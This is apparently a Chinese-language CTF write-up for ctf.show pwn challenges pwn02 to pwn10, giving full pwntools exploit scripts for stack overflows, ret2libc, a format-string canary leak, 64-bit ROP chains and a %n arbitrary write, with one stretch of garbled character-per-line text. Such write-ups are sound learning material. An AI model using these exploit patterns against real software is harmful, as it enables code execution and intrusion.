一入pwn坑深似海,从此逆向是路人
pwn02
常规checksec一下
扔进IDA
点进pwnme()函数看看,明显的栈溢出
搜索字符串有/bin/sh
直接淦它
from pwn import*
io=remote('111.231.70.44',28054)
#io=process('./pwn02')
bin_sh=0x0804850F
payload=b'a'*13+p32(bin_sh)
io.sendline(payload)
io.interactive()
轻松秒杀
pwn03
依旧常规checksec,只开了NX
和上一题几乎一样,只是没给后门,得ret2libc了
需要远程打通,应该是libc版本不同本地打不通
from pwn import*
from LibcSearcher import*
elf=ELF('./pwn03')
#io=process('./pwn03')
io=remote('111.231.70.44',28021)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
payload1=b'a'*13+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
io.recvuntil('\n\n')
puts_add=u32(io.recv(4))
print(puts_add)
libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*13+p32(sys_add)+b'a'*4+p32(bin_sh)
io.sendline(payload2)
io.interactive()
pwn04
常规切克,开了栈保护所以不能直接溢出,我们得绕过canary
扔进IDA,进vuln函数看看
printf(buf),明显的格式化字符串漏洞,V3应该就是canary保护生成的随机参数
汇编代码中的eax中就是V3的值(地址ebp-Ch)
定位到格式化字符串参数位置是第六个。我们知道%n可以写入输出的字符长度的个数
%$
n
可
以
修
改
第
n
u
m
b
e
r
个
参
数
的
值
,
n可以修改第number个参数的值,
n可以修改第number个参数的值,%n是把已经输出的字符数目输入传来参数的地址中,这就可以使我们修改数据(不过这题开了canary就不能直接修改)
格式 : %12$x 可以直接定位到地12个参数 其他%p,%s,%%n等类似
gdb下个断点调试一下
输入字符并观察它们的位置(我输入的四个a)
把内存打印出来
可以看出图中aaaa的偏移为6,printf打印的是偏移后的下一位地址,在之前的xor处下断点并运行到断点处查看eax里的值
可以看出eax的偏移为31
编写如下脚本来泄露canary的地址,注意canary的地址在程序每次运行都会变化,我们可以通过read溢出覆盖到canary
from pwn import*
io=process('./pwn04')
leak_canary='%31$x'
io.recvuntil(b'Hacker!\n')
io.sendline(leak_canary)
canary=hex(int(io.recv(),16))
print(canary)
偏移为0x70-0xc=0x64
read执行两次(一般canary绕过都是两个输入),所以我们利用溢出第二个read覆盖ret为shellcode地址。
v3的地址为esp+0x6c=0xffffcf0c
在第一次发送leak_canary时canary已经被覆盖则只需要计算v3到ebp的偏移
之后就编写脚本
from pwn import*
#io=process('./pwn04')
io=remote('pwn.challenge.ctf.show',28059)
leak_canary='%31$x'
io.recvuntil(b'Hello Hacker!\n')
io.sendline(leak_canary)
canary=int(io.recv(),16)
bin_sh=0x080485AF
payload=b'a'*0x64+p32(canary)+b'b'*12+p32(bin_sh)
io.sendline(payload)
io.recv()
io.interactive()
轻松秒杀
pwn05(灌水题?)
依旧是经典切克
什么都有也没开栈保护,最简单的栈溢出签到题
from pwn import*
io=process('./pwn05')
#io=remote('pwn.challenge.ctf.show',28059)
bin_sh=0x08048486
payload=b'a'*(0x14+4)+p32(bin_sh)
io.sendline(payload)
io.interactive()
pwn06(灌水题+1)
题目描述是64位pwn05。切都懒得切克
注意64位需要堆栈平衡
from pwn import*
io=process('./pwn06')
#io=remote('pwn.challenge.ctf.show',28059)
bin_sh=0x000000000040057B
payload=b'a'*(0xC+8)+p64(bin_sh)
io.sendline(payload)
io.interactive()
pwn07
切克
简单的栈溢出,64位版pwn03
用ROPgadget找到pop_rdi和pop_ret的地址
套模板就行
from pwn import*
#io=process('./pwn07')
context(arch='amd64',os='linux',log_level='debug')
io=remote('pwn.challenge.ctf.show',28042)
elf=ELF('./pwn07')
libc=ELF('./libc-2.27.so')
puts_libc=libc.sym['puts']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
sys_libc=libc.sym['system']
binsh_libc=next(libc.search(b'/bin/sh'))
main=elf.sym['main']
pop_rdi=0x00000000004006e3
pop_ret=0x00000000004004c6
payload=b'a'*(0xc+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
io.recvline()
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-puts_libc
system=sys_libc+libc_base
bin_sh=binsh_libc+libc_base
payload=b'a'*(0xc+8)+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)
io.interactive()
pwn08(灌水?)
from pwn import*
io=process('./pwn08')
#io=remote('pwn.challenge.ctf.show',28042)
payload=b'a'*(0x80+8)+p64(0x000000000040063B)
io.sendline(payload)
io.interactive()
pwn10
切克
main函数里F5看看
明显的格式化字符串漏洞,找不到num这个参数的定义在哪,既然没开栈保护那就可以直接修改,偏移为7
我们在IDA里找到num的地址
然后直接跳到num的地址,利用任意写填充16个字节
from pwn import*
#io=process('./pwn10')
io=remote('pwn.challenge.ctf.show',28013)
io.recvuntil(b'try pwn me?')
payload=p32(0x0804A030)+b'a'*12+b'%7$n'
io.sendline(payload)
io.interactive()